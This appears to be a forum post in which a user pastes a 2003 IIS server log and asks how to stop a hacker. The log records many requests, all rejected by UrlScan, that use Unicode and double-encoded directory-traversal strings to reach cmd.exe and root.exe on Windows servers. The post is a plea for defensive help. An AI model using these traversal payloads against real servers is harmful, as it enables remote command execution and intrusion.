2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:19:47 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c0%
2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:19:55 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:20:03 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:20:12 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:20:19 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c0%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:20:27 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%1c..%c1%1c..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:20:35 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:20:43 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:20:51 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%9c..%c1%9c..%c1%
9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:20:59 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%9c../..%c1%
9c../..%c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:21:07 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%9f../..%c1%
9f../..%c1%9f../winnt/system32/cmd.exe 404 -
2003-03-06 04:21:15 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%
9f../winnt/system32/cmd.exe 404 -
2003-03-06 04:21:23 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:21:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%pc../..%c1%
pc../..%c1%pc../winnt/system32/cmd.exe 404 -
2003-03-06 04:21:39 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%c1%
pc../winnt/system32/cmd.exe 404 -
2003-03-06 04:21:47 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%e0%80%af../..%e0%80%
af../..%e0%80%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:21:55 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%e0%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:22:03 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%f0%80%80%af../..%f0%
80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:22:12 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%f0%80%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:22:21 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%f8%80%80%80%af../..%
f8%80%80%80%af../..%f8%80%80%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:22:29 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%f8%80%80%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:22:36 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/..%fc%80%80%80%80%
af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:22:44 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/check.bat/..%c0%2f..%c0%
2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:22:52 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/check.bat/..%c0%af..%c0%
af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:23:00 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/check.bat/..%c1%1c..%c1%
1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:23:08 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/check.bat/..%c1%9c..%c1%
9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:23:16 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/msadc/root.exe 404 -
2003-03-06 04:23:24 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/..%%35%63..%%35%63..%
%35%63winnt/system32/cmd.exe 404 -
2003-03-06 04:23:32 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/..%%35c..%%35c..%%
35cwinnt/system32/cmd.exe 404 -
2003-03-06 04:23:40 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/..%25%35%63..%25%35%
63..%25%35%63winnt/system32/cmd.exe 404 -
2003-03-06 04:23:47 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/..%255c..%255c..%
255cwinnt/system32/cmd.exe 404 -
2003-03-06 04:23:55 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/..%c0%2f../..%c0%
2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:24:03 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:24:11 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:24:18 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/..%c1%9c../..%c1%
9c../..%c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:24:25 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/check.bat/..%c0%2f..%
c0%2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:24:33 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/check.bat/..%c0%af..%
c0%af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:24:42 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/check.bat/..%c1%1c..%
c1%1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:24:50 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/PBServer/check.bat/..%c1%9c..%
c1%9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:24:58 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/..%%35%63..%%35%63..%%35%
63winnt/system32/cmd.exe 404 -
2003-03-06 04:25:06 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/..%%35c..%%35c..%%
35cwinnt/system32/cmd.exe 404 -
2003-03-06 04:25:14 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/..%25%35%63..%25%35%63..%
25%35%63winnt/system32/cmd.exe 404 -
2003-03-06 04:25:21 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/..%255c..%255c..%
255cwinnt/system32/cmd.exe 404 -
2003-03-06 04:25:29 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/..%c0%2f../..%c0%2f../..%
c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:25:37 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/..%c0%af../..%c0%af../..%
c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:25:45 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/..%c1%1c../..%c1%1c../..%
c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:25:54 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/..%c1%9c../..%c1%9c../..%
c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:26:02 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/check.bat/..%c0%2f..%c0%
2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:26:10 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/check.bat/..%c0%af..%c0%
af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:26:18 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/check.bat/..%c1%1c..%c1%
1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:26:26 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/Rpc/check.bat/..%c1%9c..%c1%
9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:26:35 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/..%255c..%255c..%
255c..%255c..%255c..%255cwinnt/system32/cmd.exe 404 -
2003-03-06 04:26:42 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/..%c0%2f../..%c0%
2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:26:51 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/..%c0%af..%c0%af..%c0%
af..%c0%af..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:26:58 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:27:07 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:27:15 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/..%c1%9c../..%c1%
9c../..%c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:27:23 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/check.bat/..%c0%2f..%
c0%2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:27:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/check.bat/..%c0%af..%
c0%af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:27:39 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/check.bat/..%c1%1c..%
c1%1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:27:47 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/samples/check.bat/..%c1%9c..%
c1%9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:27:56 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/script/..%c0%2f../..%c0%
2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:28:04 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/script/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:28:13 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/script/..%c0%af../..%c0%
af../..%c0%af../win2000/system32/cmd.exe 404 -
2003-03-06 04:28:21 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/script/..%c0%af../..%c0%
af../..%c0%af../windows/system32/cmd.exe 404 -
2003-03-06 04:28:29 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/script/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:28:38 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/script/..%c1%9f../..%c1%
9f../..%c1%9f../winnt/system32/cmd.exe 404 -
2003-03-06 04:28:47 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts..%c1%
9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:28:54 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/.%252e/.%
252e/winnt/system32/cmd.exe 404 -
2003-03-06 04:29:02 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%%35%
63../winnt/system32/cmd.exe 404 -
2003-03-06 04:29:10 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%%
35c../winnt/system32/cmd.exe 404 -
2003-03-06 04:29:18 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%25%35%
63../winnt/system32/cmd.exe 404 -
2003-03-06 04:29:26 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%252f..%252f..%
252f..%252fwinnt/system32/cmd.exe 404 -
2003-03-06 04:29:33 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%
252f../winnt/system32/cmd.exe 404 -
2003-03-06 04:29:41 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%255c%
255c../winnt/system32/cmd.exe 404 -
2003-03-06 04:29:50 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%255c..%
255cwinnt/system32/cmd.exe 404 -
2003-03-06 04:29:58 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%
255c../winnt/system32/cmd.exe 404 -
2003-03-06 04:30:06 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c0%2f..%c0%2f..%c0%
2f..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:30:14 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c0%2f../..%c0%
2f../..%c0%2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:30:22 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c0%
2f../winnt/system32/cmd.exe 404 -
2003-03-06 04:30:30 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c0%
9v../winnt/system32/cmd.exe 404 -
2003-03-06 04:30:37 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c0%af..%c0%af..%c0%
af..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:30:45 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%C0%AF..%C0%AF..%C0%
AF..%C0%AFwinnt/system32/cmd.exe 404 -
2003-03-06 04:30:53 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c0%af../..%c0%
af../..%c0%af../winnt/system32/cmd.exe 404 -
2003-03-06 04:31:01 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c0%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:31:09 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c0%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:31:17 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c0%
qf../winnt/system32/cmd.exe 404 -
2003-03-06 04:31:25 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%1c..%c1%1c..%c1%
1c..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:31:33 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%C1%1C..%C1%1C..%C1%
1C..%C1%1Cwinnt/system32/cmd.exe 404 -
2003-03-06 04:31:42 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%1c../..%c1%
1c../..%c1%1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:31:50 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:31:58 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%
1c../winnt/system32/cmd.exe 404 -
2003-03-06 04:32:07 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%
8s../winnt/system32/cmd.exe 404 -
2003-03-06 04:32:15 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%9c..%c1%9c..%c1%
9c..%c1%9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:32:23 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%C1%9C..%C1%9C..%C1%
9C..%C1%9Cwinnt/system32/cmd.exe 404 -
2003-03-06 04:32:31 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%
9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:32:39 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%
9c../winnt/system32/cmd.exe 404 -
2003-03-06 04:32:47 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%9f../..%c1%
9f../..%c1%9f../winnt/system32/cmd.exe 404 -
2003-03-06 04:32:56 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%
9f../winnt/system32/cmd.exe 404 -
2003-03-06 04:33:03 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:33:11 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%c1%
pc../winnt/system32/cmd.exe 404 -
2003-03-06 04:33:17 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%e0%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:33:25 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%f0%80%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:33:34 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%f8%80%80%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:33:41 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%fc%80%80%80%80%
af../winnt/system32/cmd.exe 404 -
2003-03-06 04:33:48 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/check.bat/..%c0%2f..%
c0%2f..%c0%2fwinnt/system32/cmd.exe 404 -
2003-03-06 04:33:56 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/check.bat/..%c0%af..%
c0%af..%c0%afwinnt/system32/cmd.exe 404 -
2003-03-06 04:34:05 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/check.bat/..%c1%1c..%
c1%1c..%c1%1cwinnt/system32/cmd.exe 404 -
2003-03-06 04:34:12 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/check.bat/..%c1%9c..%
c1%9c..%c1%9cwinnt/system32/cmd.exe 404 -
2003-03-06 04:34:19 148.223.64.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/root.exe 404 -
2003-03-06 06:57:15 12.134.24.114 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%255c%
255c../winnt/system32/cmd.exe 404 -
2003-03-06 22:33:52 193.172.11.12 - 10.101.101.10 80
GET /<Rejected-By-UrlScan> ~/scripts/..%255c%
255c../winnt/system32/cmd.exe 404 -

How do I stop a hacker from turning of my computer??

Any help would be appreciated.